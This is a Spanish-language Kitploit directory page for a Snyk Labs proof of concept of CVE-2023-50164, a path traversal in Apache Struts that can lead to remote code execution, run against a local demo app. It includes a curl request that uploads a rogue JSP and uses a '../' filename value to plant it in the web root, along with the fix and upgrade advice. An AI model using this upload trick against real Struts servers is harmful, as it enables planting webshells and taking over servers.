Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2023-50164-POC | Kitploit
Herramientas/GitHubGitHub/snyk-labs/cve-2023-50164-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubsnyk-labs/cve-2023-50164-poc

CVE-2023-50164-POC

Ver Repositorio
61hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Esto es una Prueba de Concepto (PoC) para CVE-2023-50164, que describe una nueva vulnerabilidad de path traversal que puede conducir a la ejecución remota de código (RCE) en struts-core.

Para remediar el problema, se recomienda actualizar a Struts 2.5.33 o Struts 6.3.0.2 o superior.

Este repositorio se basa en el excelente trabajo de Henrik Plate disponible aquí.

Ejecutar la PoC

Hay dos perfiles de Maven en este proyecto: vuln y no-vuln. vuln es el predeterminado.

Para ejecutar con la vulnerabilidad RCE, ejecuta lo siguiente:

root@kitploit:~
mvn clean jetty:run -P vuln

Para ejecutar sin la vulnerabilidad RCE, ejecuta lo siguiente:

root@kitploit:~
mvn clean jetty:run -P no-vuln

La diferencia entre los dos perfiles es que vuln usa struts-core versión 6.3.0.1 (que tiene la vulnerabilidad de path traversal) y no-vuln usa struts-core versión 6.3.0.2 (que no tiene la vulnerabilidad de path traversal).

Explotar la vulnerabilidad

Mientras ejecutas el perfil vuln descrito anteriormente, ejecuta lo siguiente:

root@kitploit:~
curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"

Podrás ver el archivo rogue.jsp en la carpeta src/main/webapp y podrás navegar a él en: http://localhost:9999/struts-vuln-poc/rogue.jsp (verás un mensaje de Ya been PWNED!).

Existe una solución de corrección de código que funciona con las versiones antiguas de Struts, pero, aún así se recomienda encarecidamente actualizar tu versión de Struts.

Para poner en práctica la corrección de código, ejecuta lo siguiente:

root@kitploit:~
curl \
http://localhost:9999/struts-vuln-poc/upload-no-vuln.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"

Verás un mensaje de error: Attempted path traversal attack

NOTA: Si usas el perfil no-vuln, no obtendrás un mensaje de error desde el endpoint /upload-no-vuln, incluso si usas una ruta relativa como: ../src/main/webapp/rogue.jsp, ya que la nueva versión de struts elimina automáticamente las referencias a rutas relativas.

Descargar herramienta